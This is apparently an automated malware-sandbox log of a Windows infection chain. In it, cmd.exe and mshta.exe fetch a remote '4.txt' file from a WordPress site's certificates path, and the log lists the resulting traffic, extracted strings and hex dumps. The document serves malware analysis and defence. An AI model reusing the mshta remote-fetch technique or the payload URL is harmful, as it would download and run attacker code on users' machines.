0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:58:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 15876822Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: owl.carousel[1].js.8.drString found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000003.1071309249.00000000043DE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //www.youtube.com/embed/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000003.1027051959.0000000004834000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1058962437.0000000004834000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1027124355.0000000004836000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1027183999.0000000004837000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1059215970.0000000004837000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1059153165.0000000004836000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //www.youtube.com/embed//player?autoplay=true<div class="owl-video-frame" />?autoplay=1&rel=0&v=owl-video-playing//player.vimeo.com/video/ equals www.youtube.com (Youtube)
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://brandonaaron.net)
Source: swfobject[1].js.8.drString found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: animate-logo[1].css.8.drString found in binary or memory: http://daneden.me/animate
Source: jquery.magnific-popup.min[1].js.8.drString found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000003.965913732.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 00000008.00000003.1067951532.00000000045D6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1062754577.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023068648.00000000045D3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023610435.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023646603.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023693948.00000000045D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000003.1067951532.00000000045D6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1062754577.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023068648.00000000045D3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023610435.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023646603.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023693948.00000000045D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000003.1079142100.0000000003517000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1078851521.0000000003515000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1079208250.0000000003518000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1000902747.0000000003515000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1002562617.0000000003518000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1002319579.0000000003517000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 00000008.00000003.1071722223.00000000043D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0http://facextra
Source: mshta.exe, 00000008.00000003.1023068648.00000000045D3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023610435.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023646603.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023693948.00000000045D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000003.1067951532.00000000045D6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1062754577.00000000045D5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0V
Source: mshta.exe, 00000008.00000003.1071722223.00000000043D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 00000008.00000003.1079525296.0000000002923000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2Ps=
Source: mshta.exe, 00000008.00000003.1071722223.00000000043D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000003.1067951532.00000000045D6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1062754577.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023068648.00000000045D3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023610435.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023646603.00000000045D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1023693948.00000000045D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000003.1071722223.00000000043D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000003.1079142100.0000000003517000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1078851521.0000000003515000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1079208250.0000000003518000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1000902747.0000000003515000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1002562617.0000000003518000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1002319579.0000000003517000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 00000008.00000003.1019236410.00000000043D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1019459928.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1019299297.00000000043D3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1019405400.00000000043D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1019349506.00000000043D4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000003.1071722223.00000000043D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0http://facextrade.
Source: cmd.exe, 00000002.00000002.1157849068.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
Source: cmd.exe, 00000002.00000002.1157849068.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txth
Source: mshta.exe, 00000008.00000003.1079525296.0000000002923000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: cmd.exe, 00000002.00000002.1157849068.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txti
Source: cmd.exe, 00000002.00000002.1157849068.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtsmshta
Source: mshta.exe, 00000008.00000003.1079525296.0000000002923000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941804627.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941780948.0000000002C03000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941754177.0000000002C02000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.941683926.0000000002C00000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://fontawesome.io.
Source: mshta.exe, 00000008.00000003.950550582.0000000000519000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000003.950566829.0000000000542000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.951294485.0000000000542000.00000004.00000020.00020000.00000000.sdmp, css[6].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000003.950563376.0000000000538000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.951281107.0000000000538000.00000004.00000020.00020000.00000000.sdmp, css[5].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000003.950555915.0000000000523000.00000004.00000020.00020000.00000000.sdmp, css[3].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000003.950559768.000000000052D000.00000004.00000020.00020000.00000000.sdmp, css[4].css.8.dr, css[1].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.8.drString found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://jquery.com
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://kyruus.com
Source: animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.drString found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/byscuits
Source: mshta.exe, 00000008.00000003.934029294.00000000004CF000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/fontawesome.
Source: responsive[1].css.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: bootstrap.min[1].js.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.drString found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.jplayer.org
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://www.mathias-bank.de)
Source: camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.drString found in binary or memory: http://www.woothemes.com/flexslider/
Source: owl.carousel[1].js.8.drString found in binary or memory: https://app.vzaar.com/videos/:id
Source: scripts[1].js.8.drString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000003.934033710.00000000004D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.drString found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 00000008.00000003.1069609871.00000000043E6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1070147305.00000000043EA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1070055306.00000000043E8000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.drString found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: animate-logo[1].css.8.drString found in binary or memory: https://github.com/nickpettit/glide
Source: jquery.simplr.smoothscroll.min[1].js.8.drString found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: owl.carousel[1].js.8.drString found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000003.1079525296.0000000002923000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://s.w.org/images/core/emoji/11/svg/https://s.w.org/images/core/emoji/11/72x72/NatKL$:
Source: mshta.exe, 00000008.00000003.1079525296.0000000002923000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id
Source: owl.carousel[1].js.8.drString found in binary or memory: https://youtu.be/:id
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\bootstrap[1].cssJump to behavior
Source: unknownDNS traffic detected: queries for: facextrade.com.br
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
